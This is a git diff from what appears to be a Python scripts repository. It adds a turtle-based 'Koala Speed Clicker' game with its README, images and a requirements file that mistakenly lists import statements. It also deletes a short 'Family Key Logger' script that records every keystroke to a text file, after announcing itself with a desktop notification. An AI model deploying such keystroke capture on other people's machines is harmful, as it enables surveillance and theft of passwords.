diff --git a/EthicalHackingScripts/Family Key Logger/key_logger.py b/EthicalHackingScripts/Family Key Logger/key_logger.py deleted file mode 100644 index 7d710f7ef..000000000 --- a/EthicalHackingScripts/Family Key Logger/key_logger.py +++ /dev/null @@ -1,20 +0,0 @@ -from pynput.keyboard import Key, Listener -from win10toast import ToastNotifier -import logging - -n = ToastNotifier() -n.show_toast("KEYLOGGER", "A family keylogger has started to work", duration=10, - icon_path="key_icon.ico") - -log_dir = "" - -logging.basicConfig(filename=(log_dir + "keylogger.txt"), \ - level=logging.DEBUG, format='%(asctime)s: %(message)s') - - -def on_press(key): - logging.info(str(key)) - - -with Listener(on_press=on_press) as listener: - listener.join() diff --git a/PyGamesScripts/Koala Speed Clicker/Images/background.gif b/PyGamesScripts/Koala Speed Clicker/Images/background.gif new file mode 100644 index 000000000..e02c3623b Binary files /dev/null and b/PyGamesScripts/Koala Speed Clicker/Images/background.gif differ diff --git a/PyGamesScripts/Koala Speed Clicker/Images/koala.gif b/PyGamesScripts/Koala Speed Clicker/Images/koala.gif new file mode 100644 index 000000000..f5b57290b Binary files /dev/null and b/PyGamesScripts/Koala Speed Clicker/Images/koala.gif differ diff --git a/PyGamesScripts/Koala Speed Clicker/Images/ouput1.png b/PyGamesScripts/Koala Speed Clicker/Images/ouput1.png new file mode 100644 index 000000000..3085a93e6 Binary files /dev/null and b/PyGamesScripts/Koala Speed Clicker/Images/ouput1.png differ diff --git a/PyGamesScripts/Koala Speed Clicker/Images/output2.png b/PyGamesScripts/Koala Speed Clicker/Images/output2.png new file mode 100644 index 000000000..f378028e6 Binary files /dev/null and b/PyGamesScripts/Koala Speed Clicker/Images/output2.png differ diff --git a/PyGamesScripts/Koala Speed Clicker/Images/output3.png b/PyGamesScripts/Koala Speed Clicker/Images/output3.png new file mode 100644 index 000000000..52c3a9b29 Binary files /dev/null and b/PyGamesScripts/Koala Speed Clicker/Images/output3.png differ diff --git a/PyGamesScripts/Koala Speed Clicker/Images/output4.png b/PyGamesScripts/Koala Speed Clicker/Images/output4.png new file mode 100644 index 000000000..06dc74247 Binary files /dev/null and b/PyGamesScripts/Koala Speed Clicker/Images/output4.png differ diff --git a/PyGamesScripts/Koala Speed Clicker/README.md b/PyGamesScripts/Koala Speed Clicker/README.md new file mode 100644 index 000000000..ba4581dad --- /dev/null +++ b/PyGamesScripts/Koala Speed Clicker/README.md @@ -0,0 +1,36 @@ +# Koala Speed Clicker Game +Koala Speed Clicker is a game developed in Python Programming Language using threading, turtle, and glob modules. + +## Aim +The aim of the project is to create a simple clicking game using Python Graphic Turtle Module. + +## Purpose +The purpose of this project is to give the user a gaming experience of playing speed clicking games. + +## About the game +* It is a single player game. +* The more clicks user has, the more points user obtains. + +## How to play? +* The user has to spam click the Koala image directly using the mouse button within 5 seconds after compiling the game. +* After 5 seconds, the total clicks or score will be shown and determine if the user clicks fast enough. +* After that, user can exit by clicking the screen. + +## Setup instructions +1. Install Python 3.x from https://www.python.org/downloads/ +2. Install any Python IDE that is preferred (PyCharm is recommended). +3. Download this repository as zip and extract. + +## Compilation Steps +1. Open the extracted folder through the IDE. +2. Debug and Run your code +3. Have Fun! + +## Output +![](Images/output1.png) +![](Images/output2.png) +![](Images/output3.png) +![](Images/output4.png) + +## Author +Name of author : [Jessica Clarita](https://github.com/jessicaclarita) diff --git a/PyGamesScripts/Koala Speed Clicker/koala_speed_clicker.py b/PyGamesScripts/Koala Speed Clicker/koala_speed_clicker.py new file mode 100644 index 000000000..8db7bc07c --- /dev/null +++ b/PyGamesScripts/Koala Speed Clicker/koala_speed_clicker.py @@ -0,0 +1,68 @@ +# Koala Speed Clicker + +import turtle +from threading import Timer +import glob + +# set up the screen +t = turtle.Screen() +t.setup(1000, 589) + +# import images from Images folder +images = glob.glob('Images/*.gif') + +# set title and background picture +t.title("Speed Clicker Game") +t.bgpic(images[0]) + +# insert image +t.register_shape(images[1]) +koala = turtle.Turtle() +koala.shape(images[1]) +koala.speed(0) + +# set up the pen or text +pen = turtle.Turtle() +pen.hideturtle() +pen.color("white") +pen.penup() +pen.goto(0, -250) +pen.write(f"Spam click the koala within 5 seconds", align="center", font=("Comic Sans MS", 30, "bold")) + +# create a placeholder for number of clicks +clicks = 0 + + +# function to increment the number of clicks +def clicked(x, y): + global clicks + clicks += 1 + pen.clear() + pen.write(f"Koala clicks: {clicks}", align="center", font=("Comic Sans MS", 30, "bold")) + + +# function to display the total of clicks +def finish(): + global clicks + koala.speed(0) + pen.clear() + if clicks >= 10: + pen.write(f"Wow, so fast! Total click(s): {clicks}\n Click to Exit", align="center", + font=("Comic Sans MS", 30, "bold")) + t.onscreenclick(end) + + elif clicks < 10: + pen.write(f"Oof, too slow! Total click(s): {clicks}\n Click to Exit", align="center", + font=("Comic Sans MS", 30, "bold")) + t.onscreenclick(end) + + +# function to exit or quit the program +def end(x, y): + quit() + + +koala.onclick(clicked) # on click listener +s = Timer(5.0, finish) # set timer to 5 seconds +s.start() # start the timer +t.mainloop() # loop or keep the GUI window diff --git a/PyGamesScripts/Koala Speed Clicker/requirements.txt b/PyGamesScripts/Koala Speed Clicker/requirements.txt new file mode 100644 index 000000000..ed06ac01b --- /dev/null +++ b/PyGamesScripts/Koala Speed Clicker/requirements.txt @@ -0,0 +1,3 @@ +import turtle +from threading import Timer +import glob \ No newline at end of file